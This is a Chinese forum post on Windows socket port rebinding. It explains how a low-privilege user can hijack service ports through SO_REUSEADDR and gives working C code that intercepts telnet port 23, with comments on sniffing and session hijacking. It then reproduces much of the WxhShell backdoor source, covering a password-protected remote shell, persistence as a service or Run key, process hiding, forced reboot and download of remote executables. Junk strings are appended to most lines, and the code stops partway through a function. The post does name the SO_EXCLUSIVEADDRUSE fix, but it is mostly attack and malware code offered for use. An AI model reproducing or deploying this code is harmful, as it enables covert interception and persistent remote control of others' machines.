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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: d.0K~M   
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); =z!^O T6eb  
.>a [  
  saddr.sin_family = AF_INET; {SkE`u4Sz  
= inp>L  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); o/6VOX  
ri%j*Kn  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); k2O3{xIjc  
2e9.U/9  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 aH?+^f"D  
>r3SF3XMq  
  这意味着什么?意味着可以进行如下的攻击:  b]gVZ-  
7Fx0#cS"\  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 @h9QfJ_f  
neQ~h4U"  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) s1]m^,  
yv|`A2@9  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 f_2(`T#  
K3iQ/j~aq  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ~1&WR`U  
Ew JNpecX  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 TM5 Y(Q*  
\ZA@r|=$  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 L54]l^ls>  
j5wfqi  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 b Rc,Y<  
n?778Wo}  
  #include $XI.`L *g  
  #include M-Ek(K3SRf  
  #include B@U'7`v  
  #include    ^=k=;   
  DWORD WINAPI ClientThread(LPVOID lpParam);   \n`/?\r.z  
  int main() PthgxB^  
  { B!  P/?  
  WORD wVersionRequested; +e, c'.  
  DWORD ret; )$h!lAo  
  WSADATA wsaData; $J):yhFs e  
  BOOL val; )8!*,e=4  
  SOCKADDR_IN saddr; l8khu)\n4R  
  SOCKADDR_IN scaddr; la}cGZ; p.  
  int err; f^ja2.*%?  
  SOCKET s; a^8PB|G  
  SOCKET sc; '55G:r39  
  int caddsize; I~;w Q  
  HANDLE mt; { V) `6  
  DWORD tid;   2M*i'K;;)P  
  wVersionRequested = MAKEWORD( 2, 2 ); 58d[>0Xa[g  
  err = WSAStartup( wVersionRequested, &wsaData ); \wD L oR  
  if ( err != 0 ) { r1TdjnP,2^  
  printf("error!WSAStartup failed!\n"); H,c`=Ii3  
  return -1; Cs(sar:7  
  } >(-A"jf  
  saddr.sin_family = AF_INET; *4e?y  
   \1SC:gN*#  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 i),bAU!+m  
8{i O#C  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); K iEmvC  
  saddr.sin_port = htons(23); d@p#{ -  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) )Gm9x]SVl  
  { Mg2e0}{  
  printf("error!socket failed!\n"); rvlvk"  
  return -1; 9;'#,b*(  
  } IJ~j(.W  
  val = TRUE; 8ok=&Gq4  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Vef!5]t5  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) P@keg*5@  
  { h!ogH >S~  
  printf("error!setsockopt failed!\n"); ;*$e8y2  
  return -1; Jt[,V*:#  
  } LRg]'?  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; yIcTc  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 B]H8^  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 [_nOo`  
@TQ/Z$y  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) F}7sb#G  
  { @gfW*PNjlP  
  ret=GetLastError(); lKB9n}P  
  printf("error!bind failed!\n"); ,zdGY]$  
  return -1; i!RfUod  
  } Gx8!AmeX  
  listen(s,2); S2e3d  
  while(1) .$H"j>  
  { ``P9fd  
  caddsize = sizeof(scaddr); n0!2-Q5U)h  
  //接受连接请求 f@$W5*j  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); +ZwoA_k{  
  if(sc!=INVALID_SOCKET) !:m.-TE  
  { 2Kf/Id1  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); "a= Hr4C*r  
  if(mt==NULL) "p*'HQ  
  { I/XSW#  
  printf("Thread Creat Failed!\n"); p20JU zy  
  break; v7SYWO#  
  } 1*yxSU@uY  
  } n| {#5#  
  CloseHandle(mt); SDC'S]{ew  
  } [{Jo(X  
  closesocket(s); :-5[0Mx=  
  WSACleanup(); N<8\.z5:<  
  return 0; ,f2oO?L}  
  }   D*Zj oU  
  DWORD WINAPI ClientThread(LPVOID lpParam) Ku%tM7ad  
  { yKoZj   
  SOCKET ss = (SOCKET)lpParam; _ ,s^  
  SOCKET sc; _FYA? d}  
  unsigned char buf[4096]; Hf@4p'  
  SOCKADDR_IN saddr; e`s1z|h  
  long num; uE41"?GS  
  DWORD val; In^mE(8YO  
  DWORD ret; >7PQOQMW'  
  //如果是隐藏端口应用的话,可以在此处加一些判断 *d3-[HwZCL  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   NJQ)Ttt  
  saddr.sin_family = AF_INET; Sz@z 0'  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); T{k_3[{0o  
  saddr.sin_port = htons(23); Gk{ 'U  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) VaY#_80$s  
  { gK QJ^a\!  
  printf("error!socket failed!\n"); >]pZ;e$  
  return -1; |67Jw2  
  } L?j0t*do  
  val = 100; j(Lz& *4  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) DPjs? M<  
  { vI I{i  
  ret = GetLastError(); dI ,A;.  
  return -1; @k&6\1/U  
  } \^*:1=|7u]  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) D9[19,2r`  
  { 1oej<67PdJ  
  ret = GetLastError(); I09 W=  
  return -1; O{_t*sO9q*  
  } [M[<'+^*  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 8Y.q P"s  
  { ?!P0UTe~  
  printf("error!socket connect failed!\n"); !i)!|9e  
  closesocket(sc); v?OVhV  
  closesocket(ss); m2\\!C]f  
  return -1; 'RV96lX<  
  } =S`h/fru  
  while(1) 3e&+[j  
  { <rj'xv  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 (|K+1R  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 <Z:FY|'s  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 B=TUZ)  
  num = recv(ss,buf,4096,0); % -!%n= P  
  if(num>0) XnZ$ %?$  
  send(sc,buf,num,0); x<gmDy*  
  else if(num==0) Ks P2./N  
  break; <E4(KE  
  num = recv(sc,buf,4096,0); Tse#{  
  if(num>0) GIM/T4!)  
  send(ss,buf,num,0); UHZ&7jfl  
  else if(num==0) 5_aj]"x  
  break; k_,7#:+  
  } QQS*r}>  
  closesocket(ss); =G:Krc8w@  
  closesocket(sc); `/PBZnj  
  return 0 ; ;[}OZt  
  } miaH,hm  
\Nt 5TG_  
y>y2,x+[  
========================================================== ?Ts]zO%%Z  
Gk*u^J(  
下边附上一个代码,,WXhSHELL uaF-3  
oZiW4z*Wh  
========================================================== yMz#e0k  
m"n74 cxS  
#include "stdafx.h" fWmc$r5n](  
,2fi`9=\  
#include <stdio.h> wuH*a3(  
#include <string.h> +Ww] %`_  
#include <windows.h> $&as5z8  
#include <winsock2.h> ._G ,uP$  
#include <winsvc.h> -`PziG l@<  
#include <urlmon.h> H%O\4V2s  
o9 9ExQ.  
#pragma comment (lib, "Ws2_32.lib") <{kPa_`'  
#pragma comment (lib, "urlmon.lib") _u[tv,  
8OZj24*'DS  
#define MAX_USER   100 // 最大客户端连接数 <-v zS;  
#define BUF_SOCK   200 // sock buffer `q-+r1u  
#define KEY_BUFF   255 // 输入 buffer LeLUt<4~  
jw:z2:0~  
#define REBOOT     0   // 重启 l<+ [l$0#  
#define SHUTDOWN   1   // 关机 ]eKuR"ob0  
CM_hN>%w[  
#define DEF_PORT   5000 // 监听端口 :hZM$4  
P\j\p =  
#define REG_LEN     16   // 注册表键长度 =y][j+WH  
#define SVC_LEN     80   // NT服务名长度 }=/zG!+  
ty,oj33  
// 从dll定义API XGB\rf vS  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); @ b!]Jw  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); e_=K0fFz  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @ wR3L:@  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); *6/IO&y1a  
B>fZH \Y  
// wxhshell配置信息 ]bY|>q  
struct WSCFG { e'K~WNT  
  int ws_port;         // 监听端口 efXnF*Z  
  char ws_passstr[REG_LEN]; // 口令 F@u7Oel@m  
  int ws_autoins;       // 安装标记, 1=yes 0=no ]Lub.r  
  char ws_regname[REG_LEN]; // 注册表键名 <gF]9%2E  
  char ws_svcname[REG_LEN]; // 服务名 k_7m[o  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ;7P '>j1?U  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 E{orezP  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 'dKfXYY1`N  
int ws_downexe;       // 下载执行标记, 1=yes 0=no wb$uq/|  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" .g8*K "  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 `9^tuR,  
PR@6=[|d  
}; KR>)Ek  
Iq + N0G<j  
// default Wxhshell configuration Pf[E..HF*d  
struct WSCFG wscfg={DEF_PORT, OIP]9lM$nC  
    "xuhuanlingzhe", A<+Dx  
    1, z%D7x5!,R  
    "Wxhshell", KoERg&fY  
    "Wxhshell", pp@ Owpb  
            "WxhShell Service", V'i-pn2gyu  
    "Wrsky Windows CmdShell Service", '#+&?6p  
    "Please Input Your Password: ", 0vv~G\yM  
  1, 0nb%+],pX  
  "http://www.wrsky.com/wxhshell.exe", TF8#I28AD  
  "Wxhshell.exe" ^p3 GT6  
    }; "W7|Xp  
B->AY.&j  
// 消息定义模块 VE+H! ob A  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; e$~[\ w  
char *msg_ws_prompt="\n\r? for help\n\r#>"; wo@ T@Ve~  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; OD8 fn  
char *msg_ws_ext="\n\rExit."; aFTWzz  
char *msg_ws_end="\n\rQuit."; QF>T)1&J[7  
char *msg_ws_boot="\n\rReboot..."; &*v\t\]  
char *msg_ws_poff="\n\rShutdown..."; UMGiJO\yH  
char *msg_ws_down="\n\rSave to "; 7zG r+Px  
]*=4>(F[  
char *msg_ws_err="\n\rErr!"; gA2Wo+\^bq  
char *msg_ws_ok="\n\rOK!"; T`x|=}  
c2P}P* _  
char ExeFile[MAX_PATH]; j .q}OK  
int nUser = 0; 3uuIISK  
HANDLE handles[MAX_USER]; m{Q #f\<  
int OsIsNt; ,Pa*; o\  
X!]v4ma`  
SERVICE_STATUS       serviceStatus; O <Rh[Aqn  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; `==l 2AX  
yD3}USw  
// 函数声明 U ]<l-~|  
int Install(void); y\skke]  
int Uninstall(void); G=:/v  
int DownloadFile(char *sURL, SOCKET wsh); yNvAT>H  
int Boot(int flag); sT)>Vdwf_  
void HideProc(void); Tc^ 0W=h  
int GetOsVer(void); *~^63Nx!  
int Wxhshell(SOCKET wsl); 0>{ ]*  
void TalkWithClient(void *cs); uVEJV |^/  
int CmdShell(SOCKET sock); 27SHj9I  
int StartFromService(void); hN3FH# YO  
int StartWxhshell(LPSTR lpCmdLine); I8bM-k):9R  
X FS~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^QS`H@+Z  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); l)NkTZ<]  
+M-tYE 5n  
// 数据结构和表定义 2{=]Pf  
SERVICE_TABLE_ENTRY DispatchTable[] = ]E/0iM5  
{ 1iF=~@Nz_  
{wscfg.ws_svcname, NTServiceMain}, Pe _O(  
{NULL, NULL} "V p nr +6  
}; 9B0ON*`  
:H]d1  
// 自我安装 4#IT" i  
int Install(void) 2VN].t:  
{ #gC [L=01  
  char svExeFile[MAX_PATH]; ]h S:0QE  
  HKEY key; e0`z~z]6&  
  strcpy(svExeFile,ExeFile); hY&Yp^"}]^  
P(shbi@  
// 如果是win9x系统,修改注册表设为自启动 q A .9X4NQ  
if(!OsIsNt) { |3]/C rR_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~Zr}QO}G  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); l'"nU6B&  
  RegCloseKey(key); >Z!!`0{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { P73GH  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /QQRy_Z1)  
  RegCloseKey(key); /PwiZ A3sA  
  return 0; %/A>'p,~  
    } KfiSQ!{  
  } ?#z$(upQ  
} Py;5z  
else { 6}6Q:V|  
Q a (Sb  
// 如果是NT以上系统,安装为系统服务 +?*;#=q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 'ZF6Z9  
if (schSCManager!=0) LzU'6ah';5  
{ E f\|3D_  
  SC_HANDLE schService = CreateService ^2k jO/  
  ( Rt#QW*h\|i  
  schSCManager, YmC}q20;  
  wscfg.ws_svcname, r XJx~ g  
  wscfg.ws_svcdisp, _KM? ?&  
  SERVICE_ALL_ACCESS, }B-$}  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , lUu0AZQmG  
  SERVICE_AUTO_START, ;^ME  
  SERVICE_ERROR_NORMAL, NVMn7H}>  
  svExeFile, B'yjMY![  
  NULL, M@.l# [@U  
  NULL, Q5ASN"_  
  NULL, Q4cCg7|0  
  NULL, (l99a&] t  
  NULL MqZ"Js  
  ); e}uK"dl(  
  if (schService!=0) @AZNF+ \W$  
  { yI^Yh{  
  CloseServiceHandle(schService); )gdeFA V  
  CloseServiceHandle(schSCManager); I/(U0`%  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); :M"+  
  strcat(svExeFile,wscfg.ws_svcname); F=qILwd  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { #Pg#\v|7#>  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); F+hV'{|w`  
  RegCloseKey(key); 8Yq06o38C  
  return 0; $\u\ 4 n  
    } pq) =  
  } .) Ej#mk  
  CloseServiceHandle(schSCManager); k?fz @H8D(  
} j#//U2VdN  
} TQ(q [:>  
%tVU Rj  
return 1; (,I:m[0  
} 21v--wZ  
sx#O3*'>1  
// 自我卸载 76w[X=Fv  
int Uninstall(void) TDo)8+.2 z  
{ Y(Qb)>K  
  HKEY key; S(PV*e8  
<W0(!<U  
if(!OsIsNt) { ??/bI~Sd  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zx$YNjeV  
  RegDeleteValue(key,wscfg.ws_regname); b\"F6TF:  
  RegCloseKey(key); 6:2*<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "p O  
  RegDeleteValue(key,wscfg.ws_regname); ]'pfw9"f~  
  RegCloseKey(key); ^Gd1 T  
  return 0; d_,Mylk  
  } D|zuj]  
} {"'M2w:|D1  
} 4np2I~ !  
else { ) f~;P+  
|.c4y*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); |m-N5$\IC  
if (schSCManager!=0) *y4g\#o.  
{ nuq@m0t\#  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); I2/am8!u%  
  if (schService!=0) h ;uzbu  
  { YhH3fVM  
  if(DeleteService(schService)!=0) { zbFy3-RP  
  CloseServiceHandle(schService); E3'I;  
  CloseServiceHandle(schSCManager); Pn9".  
  return 0; WHC/'kvF  
  } r-T1^u  
  CloseServiceHandle(schService); `<tRfl}qs  
  } fn<dr(Dx  
  CloseServiceHandle(schSCManager); yP]>eLTSd  
} /H<{p$Wd  
} HAH\ #WE  
*<^C0:i(  
return 1; b]u=I za  
} r%;|gIky  
Y7S1^'E 3  
// 从指定url下载文件 dz@+ jEV  
int DownloadFile(char *sURL, SOCKET wsh) nq_$!aB_K  
{ ;}Jv4Z  
  HRESULT hr; ]C^ #)7  
char seps[]= "/"; I;@q`Tm  
char *token; tpS gbGzp  
char *file; 9Buss+K?/h  
char myURL[MAX_PATH]; ]2-Qj)mZ]  
char myFILE[MAX_PATH]; jsAx;Z:QT  
QDxs+<#  
strcpy(myURL,sURL); N #v[YO`.  
  token=strtok(myURL,seps); HW[&q  
  while(token!=NULL) '_?Z{|  
  { Kii@Z5R_?  
    file=token; +j: &_  
  token=strtok(NULL,seps); X8tPn_`x  
  } h>V6}(~;.  
le^Fik   
GetCurrentDirectory(MAX_PATH,myFILE); ?sHZeWZ(  
strcat(myFILE, "\\"); vL_yM  
strcat(myFILE, file); ! #Pn_e  
  send(wsh,myFILE,strlen(myFILE),0); Cj#wY  
send(wsh,"...",3,0); <J d!`$  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); -+){;,  
  if(hr==S_OK) {EZR}N  
return 0; +\+j/sa  
else NzZ(N z5  
return 1; p{oz}}  
pq0Z<b;2  
} iU+SXsXLR4  
ir'<H<t2  
// 系统电源模块 &7'=t6  
int Boot(int flag) F+Kju2  
{ HxK'u4I  
  HANDLE hToken; ;8#6da,  
  TOKEN_PRIVILEGES tkp; GipiO5)1C  
X#T|.mCdC  
  if(OsIsNt) { 6c+29@  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); =H7p&DhD[  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); OR&pGoW  
    tkp.PrivilegeCount = 1; 4j;IyQDvM  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; qdQ4%,E[  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ?n<F?~  
if(flag==REBOOT) { "6]oi*_8  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) to13&#o  
  return 0; !9gpuS[  
} ^%*qe5J  
else { %x#S?GMV<  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) yPfx!9B  
  return 0; yuC"V'  
} `/1rZ#  
  } Q:) 4  
  else { nGGw(6c%>  
if(flag==REBOOT) { mqeW,89  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ();Z,A  
  return 0; J4]"@0?6  
} Hd4 ~v0eS  
else { iM!V4Wih6  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 7r,GdP.  
  return 0; V@+sNM  
} jA8Bmwt;w  
} XSx!11  
4+qo=i  
return 1; &5jc &CS  
} g&RhPrtl  
&T-:`(  
// win9x进程隐藏模块 "viZ"/ ~6  
void HideProc(void) xe OfofC(l  
{ W' Y<iA  
{B=64,D^7R  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); YeJTB}  
  if ( hKernel != NULL ) `!N.1RP _  
  { Wv5=$y  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >mQD/U  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); E5gt_,j>  
    FreeLibrary(hKernel); "/O07l1Q<  
  } {uwPP2YD,  
gT[]"ZT7  
return; 6jMc|he  
} gRs @T<k2  
7.{+8#~nV  
// 获取操作系统版本 zKk=R6w  
int GetOsVer(void) 6k')12~'  
{ hJFxT8B/  
  OSVERSIONINFO winfo; "pX|?ap  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Lniz>gSc  
  GetVersionEx(&winfo); -= c&K&  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) R(> oyxA[F  
  return 1; 5 3+C;]J  
  else ixy:S1 pI  
  return 0; o7tlkSZ  
} l [ m_<1L  
S41S+#7t*  
// 客户端句柄模块 <F}j;mX  
int Wxhshell(SOCKET wsl) Lz9|"F"V  
{ iMM9a;G+  
  SOCKET wsh; j~rW 2(  
  struct sockaddr_in client; NxH%%>o>  
  DWORD myID; xE_~.EoB  
</9c=GoJ  
  while(nUser<MAX_USER) BDL[C<d(  
{ (eT9N_W  
  int nSize=sizeof(client); c -~i=C]  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); &6GW9pl[  
  if(wsh==INVALID_SOCKET) return 1; 4D.h~X4  
,~=+]9t  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); abVEi[nP  
if(handles[nUser]==0) X.e4pLwGK  
  closesocket(wsh); abe5 As r  
else ME*zMLoF+  
  nUser++; Ng&K5Z/  
  } d<] eJ{  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); c8l\1ce?7  
laCVj6Rk  
  return 0; z/o&r`no  
} 22d>\u+c  
Yg!fEopLb  
// 关闭 socket GOCe&?  
void CloseIt(SOCKET wsh) 6[Mu3.T  
{ Kr<a6BEv5  
closesocket(wsh); ;Uypv|xX  
nUser--; 'eQ*?a43  
ExitThread(0); ;x)f;!e+  
} 9D5v0Qi  
+s+E!=s  
// 客户端请求句柄 d<_IC7$u>  
void TalkWithClient(void *cs) ,=u!hg  
{ yBqKldl  
>U:.5Tch'V  
  SOCKET wsh=(SOCKET)cs; bT:;^eG"  
  char pwd[SVC_LEN]; c~Y  g(  
  char cmd[KEY_BUFF]; KWVl7Kw#e  
char chr[1]; -<\hcV`&  
int i,j; LqQ&4I  
/u'V>=D;f  
  while (nUser < MAX_USER) { {f6~Vwf  
gE&83i"  
if(wscfg.ws_passstr) { 1A7(s0J8 :  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (K kqyrb  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #9(iu S+BU  
  //ZeroMemory(pwd,KEY_BUFF); ;|vn;s/  
      i=0; GQ9H>Ssz  
  while(i<SVC_LEN) { !J }Q%i  
{us#(4O  
  // 设置超时 9Kc;]2m  
  fd_set FdRead; meD?<g4n~"  
  struct timeval TimeOut; s9b+uUt%  
  FD_ZERO(&FdRead); e>HdJ"S`  
  FD_SET(wsh,&FdRead); t; #D,gx  
  TimeOut.tv_sec=8; . P! pC  
  TimeOut.tv_usec=0; p ^I#9(PT  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ]1bNcq2I  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); eeUEqM$7EX  
L# .vbf  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ap(>mUs!i  
  pwd=chr[0]; Qv;^nj{\qV  
  if(chr[0]==0xd || chr[0]==0xa) { 3r2e_?m  
  pwd=0; F`f8q\Fc  
  break; rV/! VJ6x  
  } %\ !3tN  
  i++; 4:s!mHcz  
    } .Nd_p{   
$0 ~_)$i :  
  // 如果是非法用户,关闭 socket &~N@M!`Dn  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); kSqMI'89  
} `Yo!sgPO\  
y=e|W=<D&  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Tml>>O  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hLSas#B>  
LyT[  
while(1) { pTcN8E&Unz  
D7,{p2<2T  
  ZeroMemory(cmd,KEY_BUFF); u`Zj~ t  
lDtl6r/  
      // 自动支持客户端 telnet标准   sTzt  
  j=0; k 3 oR:  
  while(j<KEY_BUFF) { ;LFs.Jc<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yex0rnQ|  
  cmd[j]=chr[0]; X=X  
  if(chr[0]==0xa || chr[0]==0xd) { dj:6c@n  
  cmd[j]=0; 5uvFCY./c  
  break; T oK'Pd  
  } +Ft@S(IE  
  j++; cY%6+uJ1  
    } IaYy5Rw  
/HM 0p  
  // 下载文件 /-C6I:  
  if(strstr(cmd,"http://")) { /: }"Zb  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~`CWpc:  
  if(DownloadFile(cmd,wsh)) kiR+ Dsl  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); aL0,=g%  
  else <.c#l':  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i{nFk',xX  
  } Xp_G9I,+  
  else { %D<>F&h  
{wVJv1*l  
    switch(cmd[0]) { &/]g@^h9  
  )p+6yH  
  // 帮助 \m3ca-Y  
  case '?': { 0r'<aA`=I  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); aiwKkf`\  
    break; J4^aD;j  
  } ]w9\q*S]  
  // 安装 8al%F_r]  
  case 'i': { }>~]q)]  
    if(Install()) LRmH@-qP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 20k@!BNq  
    else GMYfcZ/,K  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i.6+ CA  
    break; ~{gV`nm=J  
    } GUdVsZjz(  
  // 卸载 Jz6zJKcA  
  case 'r': { v?qU/  
    if(Uninstall()) =S}SZYw l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `l`)Cs;a  
    else Ld:U~M-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yM*f}S/ (  
    break; rIZ^ix-N  
    } ).9m6.%Uk  
  // 显示 wxhshell 所在路径 -jQM h  
  case 'p': { 72{Ce7J4  
    char svExeFile[MAX_PATH]; V /,F6  
    strcpy(svExeFile,"\n\r"); N3QDPQ  
      strcat(svExeFile,ExeFile); *Bm _  
        send(wsh,svExeFile,strlen(svExeFile),0); w>Y!5RnO  
    break; 8UN7(J  
    } I`FqZw  
  // 重启 DE_ <LN  
  case 'b': { h}c R >  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 7C@%1kL  
    if(Boot(REBOOT)) "3X~BdH&J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KO5! (vi@  
    else { 3zuYN-;  
    closesocket(wsh); Q"=$.M~  
    ExitThread(0); a!H t81gj  
    } 7,&M6<~  
    break; { x/~gp  
    } ;7w4BJcq']  
  // 关机 rq_0"A  
  case 'd': { [,As;a*o  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); LP- _i}Kq  
